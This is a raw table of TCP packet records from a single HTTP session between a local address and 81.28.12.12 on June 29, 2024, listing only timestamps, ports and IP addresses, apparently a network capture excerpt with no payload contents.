Jun 29, 2024 08:05:18.756685019 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.756717920 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.756726980 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.756752014 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.756762028 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.756784916 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.756789923 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.756818056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.756828070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.756851912 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.756860018 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.756886005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.756901026 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.756920099 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.756931067 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.756966114 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.757000923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.757026911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.757031918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.757051945 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.757066011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.757076025 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.757097006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.757107019 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.757132053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.757137060 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.757178068 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.767168045 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.767201900 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.767237902 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.767277956 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.767318010 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.767344952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.767378092 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.767411947 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.767426014 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.767443895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.767458916 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.767489910 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.767496109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.767529011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.767538071 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.767563105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.767575026 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.767596006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.767607927 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.767641068 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.767649889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.767683029 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.767695904 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.767718077 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.767728090 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.767750978 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.767761946 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.767785072 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.767796993 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.767836094 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.767868996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.767884016 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.767901897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.767914057 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.767945051 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.767954111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.767986059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.767992973 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.768022060 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.768028975 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.768050909 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.768065929 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.768085003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.768106937 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.768117905 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.768132925 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.768162012 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.768168926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.768203020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.768218040 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.768235922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.768270016 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.768292904 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.768302917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.768318892 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.768357992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.768361092 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.768388033 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.768419981 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.768435001 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.768455029 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.768465996 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.768517971 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.768532991 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.768558025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.768568993 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.768593073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.768610001 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.768624067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.768626928 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.768656969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.768668890 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.768692017 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.768704891 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.768727064 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.768739939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.768764019 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.768773079 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.768798113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.768822908 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.768831968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.768841982 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.769037962 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.771461010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.771495104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.771528959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.771553993 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.771564007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.771590948 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.771656036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.771707058 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.771707058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.771742105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.771756887 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.771775961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.771794081 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.771812916 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.771831036 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.771857977 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.771866083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.771898985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.771914005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.771934986 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.771967888 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.771981955 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.772003889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.772013903 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.772052050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.772186995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.772275925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.772280931 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.772305965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.772324085 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.772350073 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.772356987 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.772391081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.772423983 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.772438049 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.772476912 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.772479057 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.772533894 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.772559881 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.772607088 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.772612095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.772640944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.772656918 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.772674084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.772682905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.772706985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.772721052 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.772738934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.772751093 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.772773027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.772794962 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.772805929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.772820950 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.772840977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.772874117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.772886992 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.772917986 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.776124001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.776175022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.776207924 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.776231050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.776242971 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.776269913 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.776294947 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.776309967 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.776326895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.776334047 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.776371002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.776386976 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.776405096 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.776421070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.776454926 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.782461882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.782521009 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.782584906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.782614946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.782666922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.782668114 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.782701015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.782713890 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.782735109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.782744884 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.782768965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.782803059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.782818079 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.782845020 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.845967054 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.846002102 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.846024990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.846036911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.846045017 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.846071005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.846084118 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.846120119 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.846124887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.846193075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.846220016 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.846227884 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.846230984 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.846261978 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.846271038 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.846296072 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.846302986 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.846335888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.846345901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.846379042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.846385956 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.846426964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.846431017 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.846463919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.846467018 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.846498013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.846508026 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.846532106 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.846541882 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.846574068 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.846585989 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.846617937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.846631050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.846631050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.846651077 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.846673965 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.846684933 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.846698999 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.846719027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.846752882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.846754074 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.846771955 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.846786022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.846796036 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.846817970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.846832991 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.846853018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.846880913 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.846888065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.846903086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.846920967 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.846930981 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.846971989 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.846988916 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.847017050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.859689951 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.859744072 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.859771967 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.859778881 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.859800100 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.859823942 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.859828949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.859875917 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.859880924 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.859914064 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.859936953 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.859947920 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.859961987 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.859981060 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.859992027 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.860014915 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.860054970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.860065937 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.860090017 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.860100031 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.860126019 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.860147953 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.860168934 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.860222101 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.860258102 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.860268116 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.860291958 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.860297918 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.860326052 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.860352039 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.860358953 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.860372066 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.860394955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.860404015 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.860430002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.860440969 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.860464096 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.860476017 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.860511065 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.860527992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.860559940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.860584021 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.860610008 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.860613108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.860645056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.860678911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.860687971 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.860712051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.860718966 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.860753059 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.860763073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.860795975 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.860829115 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.860833883 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.860846996 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.860874891 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.860884905 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.860918999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.860934973 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.860951900 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.860959053 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.860985994 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.860995054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.861020088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.861032009 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.861052990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.861064911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.861088037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.861121893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.861124992 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.861164093 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.861171961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.861206055 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.861208916 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.861255884 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.861290932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.861301899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.861324072 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.861335993 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.861358881 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.861367941 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.861402035 CEST	49731	80	192.168.2.4	81.28.12.12
